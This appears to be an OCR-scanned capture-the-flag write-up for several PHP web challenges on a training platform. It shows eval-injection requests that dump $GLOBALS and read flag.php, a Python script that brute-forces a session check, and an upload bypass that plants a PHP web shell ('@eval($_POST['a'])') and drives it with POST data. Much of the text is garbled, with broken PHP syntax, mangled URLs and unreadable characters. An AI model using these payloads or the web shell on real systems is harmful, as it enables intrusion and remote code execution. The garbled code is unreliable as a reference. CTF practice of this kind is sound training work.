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<?php

include “flag.php”;

$a = @$_REQUEST[ hello ];

if (!preg match(/ \w%$/ ,8a )){
die (" ERROR’ ) :

}

eval ("var dump($$a):”);

show source( FILE ):

>

W BA I HflagfEflag. phpiX A SO B DATEREBLE ANSh & BT AP «
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"$%a", XEBF2NRE, SagBRMNETENZE, BN EASENNEANEE, T2 EHHZSGLOBALSIX
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$GLOBALS
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TRt iE&url
http://97104ae4f3174765a9e2f59dc028fc4553582fd8eeb54f81.game.ichungiu.com/?hello=GLOBALS
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array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } [*_POST"]=> array(0) { } ["_COOKIE"]=> array(9) { ['ci_session"]=> string(40) "34b6cab7e439bfa051ff7cd057d0db2909ba7025"

["UM_distinctid"]=> string(60) "163e8330d2c26-0952269b4f80aa8-4c312b7b-144000-163e8330d3014a" ["pgv_pvi']=> string(10) "8968697856" ["pgv_si"]=> string(11) "s1261991936"

["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O00" ["Hm_Ivt 2d0601bd28de7d49818249cf35d95943"]=> string(43) "1528591691,1528594118,1528600259,1528609052"

["Hm_lpvt 2d0601bd28de7d49818249cf35d95943"]=> string(10) "1528610908" ["Hm_Ivt 9104989ce242a8e03049eacecad50328"]=> string(43) "1528032699,1528419480,1528591693,1528609053"

["Hm_lpvt_9104989ce242a8e03049eaceca950328"]=> string(10) "1528609064" } [*_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flagfTE—"

KEROMZEEHE" ["d3f0f8"]=> string(42) "flag{Obe9a597-24a2-4d91-98b3-4a80790de692}" ["a"]=> string(7) "GLOBALS" ['GLOBALS"]=> *RECURSION* } <?php

include “flag.php”;

$a = @$_REQUEST[ hello’];

if (!preg_match("/ \wx$/",3a )){
die (" ERROR’) ;

eval (“var_dump ($Sa) ;") ;
show_source (_FILE_);
”
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{?php

include “flag.php”;

$a = @$_REQUEST[ hello ];
eval ( “var dump(8a):”):
show source( FILE ):
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Higurl:

http://62c123bf4f8a456a870a0b3a3841acde07a12dce89ee48a3.game.ichungiu.com/?
hello=file_get_contents('flag.php")
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string(83) " <?php

include "flag.php";

$a = @$ REQUEST['hello'];
eval( “var_dump($a);");
show_source(_FILE_);
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string (83) “<?php
$flag = 'Too Young Too Simple’;
#flag {44d0eble—al28-4edf-abde—eall4e9f7edf} ;

(code>{span style="color: #000000">

{span style="color: #0000BB">&1t; ?php<br />{/span>{span style="color: #0077
{/span>

{/code>
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<?php

error_reporting(0) ;
session_start() ;
require(’ . /flag. php ) ;
if(!isset ($_SESSION[ nums’ 1)) {

$ SESSION[ nums'] = 0;
$ SESSION[ time'] = +time():
$ SESSION[ whoami’] = ‘ea :

}

if($ SESSION[ time’ ]+120<time()) {
session_destroy() ;

}

$value = $_REQUEST[ value ];

$str_rand = range(a', 'z');
$str rands = $str_rand[mt rand(0, 25)]. $str rand[mt rand(0,25)]:

if ($_SESSION[ whoami’ ]==($value[0]. $valuel[l]) && substr(md5($value),5b,4)==0) {
$_SESSION[ nums’ ]J++;

$ SESSION[ whoami’] = $str_rands;
echo $str rands;

}
if ($_SESSION[ nums’ 1>=10) {

echo $flag;
}

show source( FILE ):
>

XBEREERRVE-NSENE, FHEE1208, ¥IHE whoami = 'ea’; num=0
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error_reporting(0);

session_start();

require(’. /flag.php’ ) ;

if (lisset ($_SESSION[ nums’ 1)) {
$_SESSION[ nums’] = 0;
$_SESSION[ time'] = time();
$_SESSION[ whoami’] = ’ea’;

if ($_SESSION[" time’ J+120<time ()) {
session_destroy();
}

Svalue = $_REQUEST[ value'];
$str_rand = range(Ca’, 'z'):
$str_rands = $str_rand[mt_rand(0,25)]. $str_rand[mt_rand(0,25)];

if (§_SESSION[ whoami’ ]==($value[0]. $value[1]) && substr(md5($value),5,4)==0) {
$_SESSION[ nums’ ]++;
$_SESSION[ whoami’] = S$str_rands;
echo $str_rands;

}

if ($_SESSION[ nums’ ]1>=10) {
echo $flag;

}

show_source (_ FILE_ ) ;
>
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import requests

url = "http://2db8577cbeff436c92a5a69276b7f5aba502655072244904.game.ichunqgiu.com/?value[]="
s = requests.Session()

payload = 'ea’;

r = s.get(url+payload)

print r.text

i=290

for i in range(10):
payload = r.text[0:2]
r = s.get(url + payload)
print r.text
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http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichungiu.convhack.php
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http://53c3f44f7aed4492fa1a2b13462bc12ae1e458361aa104f95.game.ichungiu.com/upload/hack.php
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{div>
{a href="u/hack. php”> LALR I !</a>
/div>
X ek E A g urd
http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichungiu.com/u/hack.php
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eval($ POST['a']); 7>

ftith<?php RYGTEH T, BE FphpREaeH H KRR
TR LS Ak

<script language = "php"> eval($_POST['a']); </script>
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5 Load URL http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichungiu.com/u/hack.php
4 spiturRL
Execut
|£] Post data [] Referrer (] User Agent[] Cookies
Post Data a=pwd
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<script language = "phP"> @eval($_POST['a']); </script>
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